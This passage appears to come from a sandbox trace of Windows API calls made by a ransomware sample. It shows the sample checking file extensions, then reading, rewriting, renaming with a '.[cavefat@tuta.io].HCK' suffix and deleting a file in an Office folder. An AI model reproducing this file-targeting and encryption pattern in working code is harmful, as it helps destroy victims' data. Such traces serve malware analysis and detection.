lpString2=".dll") returned 1 [0229.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.295] lstrlenW (lpString=".zip") returned 4 [0229.295] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.295] lstrlenW (lpString=".rar") returned 4 [0229.295] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.295] lstrlenW (lpString=".bz2") returned 4 [0229.295] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.295] lstrlenW (lpString=".7z") returned 3 [0229.295] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.295] lstrlenW (lpString=".dbf") returned 4 [0229.295] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.295] lstrlenW (lpString=".1cd") returned 4 [0229.296] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.296] lstrlenW (lpString=".jpg") returned 4 [0229.296] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.296] lstrlenW (lpString=".doc") returned 4 [0229.296] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.296] lstrlenW (lpString=".docx") returned 5 [0229.296] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0229.296] lstrlenW (lpString=".pdf") returned 4 [0229.296] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.296] lstrlenW (lpString=".xls") returned 4 [0229.296] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.296] lstrlenW (lpString=".xlsx") returned 5 [0229.296] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0229.296] lstrlenW (lpString=".ppt") returned 4 [0229.296] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.296] lstrlenW (lpString=".zip") returned 4 [0229.296] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.296] lstrlenW (lpString=".rar") returned 4 [0229.296] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.296] lstrlenW (lpString=".bz2") returned 4 [0229.296] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.296] lstrlenW (lpString=".7z") returned 3 [0229.296] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.296] lstrlenW (lpString=".dbf") returned 4 [0229.296] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.296] lstrlenW (lpString=".1cd") returned 4 [0229.296] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.296] lstrlenW (lpString=".jpg") returned 4 [0229.296] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.296] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.296] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0229.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0229.297] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=21184) returned 1 [0229.297] CloseHandle (hObject=0x4bc) returned 1 [0229.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0229.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.297] lstrlenW (lpString=".doc") returned 4 [0229.297] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.297] lstrlenW (lpString=".docx") returned 5 [0229.297] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0229.297] lstrlenW (lpString=".pdf") returned 4 [0229.297] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.297] lstrlenW (lpString=".xls") returned 4 [0229.297] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString=".xlsx") returned 5 [0229.298] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0229.298] lstrlenW (lpString=".ppt") returned 4 [0229.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.298] lstrlenW (lpString=".zip") returned 4 [0229.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString=".rar") returned 4 [0229.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString=".bz2") returned 4 [0229.298] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.298] lstrlenW (lpString=".7z") returned 3 [0229.298] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.298] lstrlenW (lpString=".dbf") returned 4 [0229.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.298] lstrlenW (lpString=".1cd") returned 4 [0229.298] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.298] lstrlenW (lpString=".jpg") returned 4 [0229.298] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.298] lstrlenW (lpString=".doc") returned 4 [0229.298] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString=".docx") returned 5 [0229.298] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0229.298] lstrlenW (lpString=".pdf") returned 4 [0229.298] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString=".xls") returned 4 [0229.298] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString=".xlsx") returned 5 [0229.298] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0229.298] lstrlenW (lpString=".ppt") returned 4 [0229.298] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.298] lstrlenW (lpString=".zip") returned 4 [0229.298] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString=".rar") returned 4 [0229.298] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.298] lstrlenW (lpString=".bz2") returned 4 [0229.298] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.298] lstrlenW (lpString=".7z") returned 3 [0229.298] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.298] lstrlenW (lpString=".dbf") returned 4 [0229.298] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.298] lstrlenW (lpString=".1cd") returned 4 [0229.298] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0229.299] lstrlenW (lpString=".jpg") returned 4 [0229.299] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.299] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.299] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0229.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0229.300] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19136) returned 1 [0229.300] CloseHandle (hObject=0x4bc) returned 1 [0229.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0229.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.300] lstrlenW (lpString=".doc") returned 4 [0229.300] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.300] lstrlenW (lpString=".docx") returned 5 [0229.300] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0229.300] lstrlenW (lpString=".pdf") returned 4 [0229.300] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.300] lstrlenW (lpString=".xls") returned 4 [0229.300] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.300] lstrlenW (lpString=".xlsx") returned 5 [0229.300] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0229.300] lstrlenW (lpString=".ppt") returned 4 [0229.300] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.300] lstrlenW (lpString=".zip") returned 4 [0229.300] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.300] lstrlenW (lpString=".rar") returned 4 [0229.300] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.300] lstrlenW (lpString=".bz2") returned 4 [0229.300] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.301] lstrlenW (lpString=".7z") returned 3 [0229.301] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.301] lstrlenW (lpString=".dbf") returned 4 [0229.301] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.301] lstrlenW (lpString=".1cd") returned 4 [0229.301] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.301] lstrlenW (lpString=".jpg") returned 4 [0229.301] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.301] lstrlenW (lpString=".doc") returned 4 [0229.301] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.301] lstrlenW (lpString=".docx") returned 5 [0229.301] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0229.301] lstrlenW (lpString=".pdf") returned 4 [0229.301] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.301] lstrlenW (lpString=".xls") returned 4 [0229.301] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.301] lstrlenW (lpString=".xlsx") returned 5 [0229.301] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0229.301] lstrlenW (lpString=".ppt") returned 4 [0229.301] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.301] lstrlenW (lpString=".zip") returned 4 [0229.301] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.301] lstrlenW (lpString=".rar") returned 4 [0229.301] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.301] lstrlenW (lpString=".bz2") returned 4 [0229.301] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.301] lstrlenW (lpString=".7z") returned 3 [0229.301] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.301] lstrlenW (lpString=".dbf") returned 4 [0229.301] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.301] lstrlenW (lpString=".1cd") returned 4 [0229.301] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0229.301] lstrlenW (lpString=".jpg") returned 4 [0229.301] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.301] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.301] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0229.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0229.302] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19136) returned 1 [0229.302] CloseHandle (hObject=0x4bc) returned 1 [0229.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0229.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0229.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0229.302] lstrlenW (lpString=".doc") returned 4 [0229.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.303] lstrlenW (lpString=".docx") returned 5 [0229.303] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0229.303] lstrlenW (lpString=".pdf") returned 4 [0229.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.303] lstrlenW (lpString=".xls") returned 4 [0229.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.303] lstrlenW (lpString=".xlsx") returned 5 [0229.303] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0229.303] lstrlenW (lpString=".ppt") returned 4 [0229.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0229.303] lstrlenW (lpString=".zip") returned 4 [0229.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.303] lstrlenW (lpString=".rar") returned 4 [0229.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.303] lstrlenW (lpString=".bz2") returned 4 [0229.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.303] lstrlenW (lpString=".7z") returned 3 [0229.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0229.303] lstrlenW (lpString=".dbf") returned 4 [0229.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.849] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=10562) returned 1 [0229.849] CloseHandle (hObject=0x4c0) returned 1 [0229.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0229.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.851] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.852] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.852] GetLastError () returned 0x0 [0229.852] ReadFile (in: hFile=0x4c0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2942, lpOverlapped=0x0) returned 1 [0229.855] WriteFile (in: hFile=0x4a8, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2950, lpOverlapped=0x0) returned 1 [0229.855] ReadFile (in: hFile=0x4c0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.856] WriteFile (in: hFile=0x4a8, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.856] SetEndOfFile (hFile=0x4a8) returned 1 [0229.856] CloseHandle (hObject=0x4a8) returned 1 [0229.856] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.856] SetEndOfFile (hFile=0x4c0) returned 1 [0229.858] CloseHandle (hObject=0x4c0) returned 1 [0229.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0229.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.859] lstrlenW (lpString=".doc") returned 4 [0229.859] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.859] lstrlenW (lpString=".docx") returned 5 [0229.859] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.859] lstrlenW (lpString=".pdf") returned 4 [0229.859] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.859] lstrlenW (lpString=".xls") returned 4 [0229.859] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.859] lstrlenW (lpString=".xlsx") returned 5 [0229.859] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.859] lstrlenW (lpString=".ppt") returned 4 [0229.859] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.859] lstrlenW (lpString=".zip") returned 4 [0229.859] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.859] lstrlenW (lpString=".rar") returned 4 [0229.859] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.859] lstrlenW (lpString=".bz2") returned 4 [0229.859] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.859] lstrlenW (lpString=".7z") returned 3 [0229.859] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.859] lstrlenW (lpString=".dbf") returned 4 [0229.859] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.859] lstrlenW (lpString=".1cd") returned 4 [0229.859] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.859] lstrlenW (lpString=".jpg") returned 4 [0229.859] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.859] lstrlenW (lpString=".doc") returned 4 [0229.859] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.859] lstrlenW (lpString=".docx") returned 5 [0229.859] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.859] lstrlenW (lpString=".pdf") returned 4 [0229.859] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.859] lstrlenW (lpString=".xls") returned 4 [0229.860] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.860] lstrlenW (lpString=".xlsx") returned 5 [0229.860] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.860] lstrlenW (lpString=".ppt") returned 4 [0229.860] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.860] lstrlenW (lpString=".zip") returned 4 [0229.860] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.860] lstrlenW (lpString=".rar") returned 4 [0229.860] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.860] lstrlenW (lpString=".bz2") returned 4 [0229.860] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.860] lstrlenW (lpString=".7z") returned 